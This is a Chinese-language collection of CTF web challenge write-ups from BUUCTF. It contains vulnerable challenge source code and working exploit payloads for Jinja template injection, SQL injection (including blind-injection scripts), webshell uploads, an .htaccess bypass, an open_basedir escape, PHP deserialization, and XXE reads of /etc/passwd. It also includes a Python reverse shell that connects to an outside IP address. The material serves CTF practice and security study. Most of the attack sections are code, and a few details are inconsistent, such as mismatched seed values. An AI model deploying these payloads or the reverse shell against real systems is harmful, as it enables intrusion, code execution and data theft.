BUU CTF web(三)

[WesternCTF2018]shrine

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/')

def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

/shrine/路徑下可以模板注入

http://c5d52eaf-29bb-49b6-81fc-c82fe18f6826.node3.buuoj.cn/shrine/{{1+1}}

源碼中註冊了一個名爲FLAG的config

但黑名單把config、self循環遍歷並替換爲空,所以讀取不到

python內置函數

  • url_for

    /shrine/{{url_for.__globals__}}
    
    /shrine/{{url_for.__globals__['current_app'].config}}
    
  • get_flasher_messages

    /shrine/{{get_flashed_messages.__globals__['current_app'].config}}
    

[SWPU2019]Web1

廣告名處二次注入,且ban掉了註釋,只能閉合引號注入

1'	//查看廣告詳情報錯
1'' //查看廣告詳情正常

/**/繞過空格過濾

空格過濾的基本操作

order by中含or,也被ban了,可以用group by代替

-1'/**/group/**/by/**/22,'1

聯合查詢

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

mysqlinnodb_table_stats

https://mariadb.com/kb/en/library/mysqlinnodb_table_stats/

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

無列名注入

參考鏈接:

https://www.jianshu.com/p/dc9af4ca2d06

https://www.anquanke.com/post/id/193512

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

[GXYCTF2019]BabySQli

select * from user where username = '$name'

union select查詢可知有三個字段

在這裏插入圖片描述

後端代碼

<?php
    if($row['username']==’admin’){
        if($row['password']==md5($pass)){
            echo $flag;
        }else{
            echo “wrong pass!”;
        }
    }
    else{ echo “wrong user!”;}
?>

知識點

當查詢的數據不存在時,聯合查詢就會構造一個虛擬的數據

輸入admin,密碼爲md5(123456),代入查詢時MySQL裏面就會生成admin,123456的用戶

同時使用123456密碼進行登錄,就可以繞過限制

name='union select 1,"admin","e10adc3949ba59abbe56e057f20f883e";#&pw=123456

在這裏插入圖片描述

[GYCTF2020]Blacklist

這道題是以強網杯爲原型的堆疊注入

1';show tables;

在這裏插入圖片描述

1';show columns from `FlagHere`;

在這裏插入圖片描述

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;

在這裏插入圖片描述

[CISCN 2019 初賽]Love Math

<?php
error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太長了不會算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("請不要輸入奇奇怪怪的字符");
        }
    }
    //常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("請不要輸入奇奇怪怪的函數");
        }
    }
    //幫你算出答案
    eval('echo '.$content.';');
} 

PHP函數

  • scandir():返回指定目錄中的文件和目錄的數組
  • base_convert():在任意進制之間轉換數字
  • dechex():把十進制轉換爲十六進制
  • hex2bin():把十六進制字符串轉換爲ASCII字符
  • var_dump():輸出變量的相關信息
  • readfile():輸出一個文件。該函數讀入一個文件並寫入到輸出緩衝。若成功,則返回從文件中讀入的字節數。若失敗,則返回 false

動態函數

PHP中可以把函數名通過字符串的方式傳遞給一個變量,然後通過此變量動態調用函數

$function = "sayHello";
$function();

getallheaders

函數用於包含當前請求所有頭中信息的數組,失敗返回FALSE

payload:``pi=baseconvert,pi=base_convert,pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

據說是可以在header中寫入cat flag.php帶出flag,但我本地沒有成功

最終payload:

http://833b3035-65c8-45f0-aef4-8214e5f05661.node3.buuoj.cn/?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

[CISCN2019 總決賽 Day2 Web1]Easyweb

robots.txt:

User-agent: *
Disallow: *.php.bak

最終在image.php.bak找到源碼泄露

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

構造payload:

image.php?id=\0%27&path=%20or%20length((select group_concat(password) from users))=20%23

得知密碼長度爲20位,附上sql盲註腳本

import requests
import time

url = r'http://13f181de-393c-4dc4-b511-cf4ab608c75f.node3.buuoj.cn/image.php'
result = ''

for x in range(0, 20):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = " or id=if(ascii(substr((select password from users limit 1 offset 0),%d,1))>%d,1,0)#" % (x, mid)
        params = {
			'id':'\\\\0',
			'path':payload
		}
        response = requests.get(url, params=params)
        time.sleep(2)
        print(payload)
        if b'JFIF' in response.content:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

在這裏插入圖片描述

隨便上傳一張圖片後發現文件名被寫入日誌

短標籤繞過php過濾

PHP開啓短標籤即short_open_tag=on時,可以使用<?=$_?>輸出變量

filename="<?=@eval($_POST['a']);?>"

在這裏插入圖片描述

菜刀連一下,在根目錄找到flag

[V&N2020 公開賽]HappyCTFd

CVE-2020-7245 CTFd賬號接管

  • 添加空格繞過限制來註冊一個與受害者用戶名相同的賬號
  • 生成忘記密碼鏈接發送到自己的郵箱
  • 重置密碼,用admin賬號和重置的密碼登錄,尋找flag

在這裏插入圖片描述

CVE-2020-7245 CTFd v2.0.0-v2.2.2 account takeover分析

[GWCTF 2019]枯燥的抽獎

check.php

<?php
#這不是抽獎程序的源代碼!不許看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽獎,就是那麼枯燥且無味,給你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>沒抽中哦,再試試吧</p>";
    }
}
show_source("check.php"); 

php僞隨機數

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='Fmaj0100xE'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print res

得到僞隨機數序列

41 41 0 61 12 12 0 61 0 0 0 61 9 9 0 61 26 26 0 61 27 27 0 61 26 26 0 61 26 26 0 61 23 23 0 61 40 40 0 61

php_mt_seed跑一下,得到隨機數種子爲468879187
在這裏插入圖片描述

<?php
mt_srand(447134701);

$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;
?>

得到密碼

[CISCN2019 華北賽區 Day2 Web1]Hack World

<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
    #被過濾的內容 函數基本沒過濾
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}   
mysql_select_db("ctf",$db);

if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
        $result = mysql_fetch_array($query);
        
        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
        var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}

異或注入

https://www.jianshu.com/p/27df5c67157c

1^1^1	//返回1
1^0^1	//返回0

sql盲註腳本

import requests
import time

url = "http://83b5c157-8a59-4ee0-b07d-90e16a32f156.node3.buuoj.cn/index.php"

result = ''
for i in range(40, 50):
    for j in range(32, 127):
        payload = '1^(cot(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(j) + '))^1=1'
        print(payload)
        r = requests.post(url, data = {'id': payload})
        time.sleep(2)

        if r.text.find('girl') == -1:
            result += chr(j)
            print(j)
            break

print(result)

[極客大挑戰 2019]FinalSQL

異或注入

import re
import requests
import string
import time
 
url = "http://88558fb8-9ead-4106-b960-9c0e4ef5aecb.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
    # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)                                #數據庫名字          
    # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)           #表名
    # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)        #列名
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
    data = {"id":sql}
    r = requests.get(url,params=data)
    time.sleep(2)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
 
    return res
 
def exp():
    global flag
    for i in range(1,10000) :
        print(i,':')
        low = 31
        high = 127
        while low <= high :
            mid = (low + high) // 2
            res = payload(i,mid)
            if res :
                low = mid + 1
            else :
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)
 
exp()
print('flag=',flag)

[SUCTF 2019]EasyWeb

構造不包含數字和字母的webshell

  • 異或構造
  • 取反構造
  • 自增構造
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag

文件上傳繞過

nginx:.user.ini
apache:.htaccess

.htaccess上傳的時候不能用GIF89a等文件頭去繞過exif_imagetype,因爲這樣雖然能上傳成功,但.htaccess文件無法生效

#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc"

shell.abc

GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==

GIF89a後面的12是爲了補足8字節,滿足base64編碼規則

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

繞過open_basedir/disable_function

open_basedir是php.ini中的一個配置選項
它可將用戶訪問文件的活動範圍限制在指定的區域,
假設open_basedir=/home/wwwroot/home/web1/:/tmp/,
那麼通過web1訪問服務器的用戶就無法獲取服務器上除了/home/wwwroot/home/web1/和/tmp/這兩個目錄以外的文件。
注意用open_basedir指定的限制實際上是前綴,而不是目錄名。
舉例來說: 若"open_basedir = /dir/user", 那麼目錄 "/dir/user" 和 "/dir/user1"都是可以訪問的。
所以如果要將訪問限制在僅爲指定的目錄,請用斜線結束路徑名。

Payload

http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc?a=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27/%27));
http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc?a=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(file_get_contents(%27/THis_Is_tHe_F14g%27));

參考鏈接

https://www.cnblogs.com/wangtanzhi/p/12250386.html

[GXYCTF2019]BabyUpload

.htaccess

SetHandler application/x-httpd-php

shell.jpg

GIF89a
<script language="php">eval($_POST['a']);</script>

[網鼎杯 2018]Comment

git源碼恢復

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

首先到登錄頁面,爆破得到密碼爲zhangwei666

二次注入

$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
    set category = '$category',
	title = '$title',
	content = '$content'";
$category = mysql_fetch_array($result)['category'];

category在插入的時候進行了過濾,而在取出來的時候並沒有過濾,這就造成了二次注入

category:123',content=user(),/*
留言:*/#
$sql = "insert into comment
	set category = '123',content=user(),/*',
	content = '*/#',
	bo_id = '$bo_id'";

在這裏插入圖片描述

SQL讀取文件

用load_file()函數進行讀取,值得注意的是讀取文件並返回文件內容爲字符串。要使用此函數,文件必須位於服務器主機上,必須指定完整路徑的文件,而且必須有FILE權限。 該文件所有字節可讀,但文件內容必須小於max_allowed_packet。如果該文件不存在或無法讀取,因爲前面的條件之一不滿足,函數返回 NULL。

讀取/etc/passwd

123',content=(select(load_file('/etc/passwd'))),/*

讀取.bash_history

123',content=(select(load_file('/home/www/.bash_history'))),/*

讀取.DS_Store

123',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

讀取flag

123',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

[V&N2020 公開賽]CHECKIN

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

nc監聽1234端口,payload如下:

/shell?c=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.2.1.129",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
cat /proc/*/fd/*

反彈shell的幾種方法

https://www.smi1e.top/linux-%E5%8F%8D%E5%BC%B9shell%E6%96%B9%E6%B3%95

[極客大挑戰 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
        if(strlen($code)>40){
            die("This is too Long.");
        }
        if(preg_match("/[A-Za-z0-9]+/",$code)){
            die("NO.");
        }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
?>

無數字字母RCE

phpinfo

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

shell

code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

disable_functions
在這裏插入圖片描述

[2020 新春紅包題]1

 <?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使緩存文件名隨機
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 創建失敗
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //數據壓縮
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

payload

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache = [];
    public $complete = true;
    public function __construct () {
        $this->store = new B();
        $this->key = '/../wtz.phtml';
        $this->cache = ['path'=>'a','dirname'=>'`cat /flag > ./uploads/flag.php`'];
    }
}
class B{
    public $options = [
        'serialize' => 'system',
        'prefix' => 'sssss',
    ];
}
echo urlencode(serialize(new A()));

//data=O%3A1%3A"A"%3A5%3A{s%3A8%3A"%00*%00store"%3BO%3A1%3A"B"%3A1%3A{s%3A7%3A"options"%3Ba%3A2%3A{s%3A9%3A"serialize"%3Bs%3A6%3A"system"%3Bs%3A6%3A"prefix"%3Bs%3A5%3A"sssss"%3B}}s%3A6%3A"%00*%00key"%3Bs%3A13%3A"%2F..%2Fwtz.phtml"%3Bs%3A9%3A"%00*%00expire"%3BN%3Bs%3A5%3A"cache"%3Ba%3A2%3A{s%3A4%3A"path"%3Bs%3A1%3A"a"%3Bs%3A7%3A"dirname"%3Bs%3A32%3A"`cat+%2Fflag+>+.%2Fuploads%2Fflag.php`"%3B}s%3A8%3A"complete"%3Bb%3A1%3B}

訪問/uploads/flag.php得到flag

[NCTF2019]Fake XML cookbook

XXE

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>admin</password></user>

在這裏插入圖片描述

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<user><username>&xxe;</username><password>admin</password></user>

在這裏插入圖片描述

[NCTF2019]True XML cookbook

XXE讀取ARP表

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///proc/net/arp" >]>
<user><username>&xxe;</username><password>admin</password></user>

掃內網

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://173.20.6.10" >]>
<user><username>&xxe;</username><password>admin</password></user>

在這裏插入圖片描述

[RoarCTF 2019]Online Proxy

XFF注入

import requests
import time

url = "http://node3.buuoj.cn:25884/"
head = {
	"GET" : "/ HTTP/1.1",
	"Cookie" : "track_uuid=602832fa-679e-449d-f31d-92f05fefa7a6",
	"X-Forwarded-For" : ""
}
result = ""
urls ="0' or ascii(substr((select F4l9_C01uMn from F4l9_D4t4B45e.F4l9_t4b1e limit 1,1),{0},1))>{1} or '0"
for i in range(1,100):
	l = 1
	r = 127
	mid = (l+r)>>1
	while(l<r):
		head["X-Forwarded-For"] = urls.format(i,mid)
		html_0 = requests.post(url,headers = head)
		time.sleep(2)
		head["X-Forwarded-For"] = urls.format(i, mid+1)
		html_0 = requests.post(url, headers=head)
		html_0 = requests.post(url, headers=head)
		if "Last Ip: 1" in html_0.text:
			l= mid+1
		else:
			r=mid
		mid = (l+r)>>1
	if(chr(mid)==' '):
		break
	result+=chr(mid)
	print(result)
print("table_name:"+result)

[FBCTF2019]RCEService

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

json格式命令

{"cmd":"ls"}

preg_match匹配

preg_match函數只會匹配第一行,可以用%0A換行

源碼中可以看到putenv(‘PATH=/home/rceservice/jail’)已經修改了環境變量,我們只能用絕對路徑來調用系統命令

{%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

pcre回溯限制繞過

參考p牛PHP利用PCRE回溯次數限制繞過某些安全限制

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://af72594c-dbfc-4ef9-baa3-0738dbb5fdb9.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)

[GYCTF2020]FlaskApp

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "結果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

在base64加密處提交{{1-1}},將得到的編碼拿去解密後得到0,存在ssti

讀源碼

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

發現flag和os被過濾

字符串拼接查找目錄

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

字符串切片讀取this_is_the_flag.txt

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

[BJDCTF 2nd]文件探測

php僞協議讀取源代碼

home.php?file=php://filter/read=convert.base64-encode/resource=home
home.php
<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
    if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
        die("forbidden");
    }

    if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
        die("not now!");
    }

    if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
        die("You! are! not! my! admin!");
    }

    if(preg_match("/^home$/i", $_GET['file'])){
        die("禁止套娃");
    }

    else{
        if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
            $file = $_GET['file'].".php";
        }
        else{
            $file = $_GET['file'].".fxxkyou!";
        }
        echo "现在访问的是 ".$file . "<br>";
        require $file;
    }
} else {
    echo "<script>location.href='./home.php?file=system'</script>";
}

讀取system.php

<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
    echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
    header("Refresh:0.1;url=index.php");
    die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>File Detector</title>

    <link rel="stylesheet" type="text/css" href="css/normalize.css" />
    <link rel="stylesheet" type="text/css" href="css/demo.css" />

    <link rel="stylesheet" type="text/css" href="css/component.css" />

    <script src="js/modernizr.custom.js"></script>

</head>
<body>
<section>
    <form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
        <div class="simform-inner">
            <span><p><center>File Detector</center></p></span>
            <ol class="questions">
                <li>
                    <span><label for="q1">ä½ çŸ¥é“ç›®å½•ä¸‹éƒ½æœ‰ä»€ä¹ˆæ–‡ä»¶å—?</label></span>
                    <input id="q1" name="q1" type="text"/>
                </li>
                <li>
                    <span><label for="q2">请输å
¥ä½ 想检测文件å†
容长度的url</label></span>
                    <input id="q2" name="q2" type="text"/>
                </li>
                <li>
                    <span><label for="q1">ä½ å¸Œæœ›ä»¥ä½•ç§æ–¹å¼è®¿é—®ï¼ŸGET?POST?</label></span>
                    <input id="q3" name="q3" type="text"/>
                </li>
            </ol>
            <button class="submit" type="submit" value="submit">提交</button>
            <div class="controls">
                <button class="next"></button>
                <div class="progress"></div>
                <span class="number">
					<span class="number-current"></span>
					<span class="number-total"></span>
				</span>
                <span class="error-message"></span>
            </div>
        </div>
        <span class="final-message"></span>
    </form>
    <span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore</a></center></p></span>
</section>

<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
    var theForm = document.getElementById( 'theForm' );

    new stepsForm( theForm, {
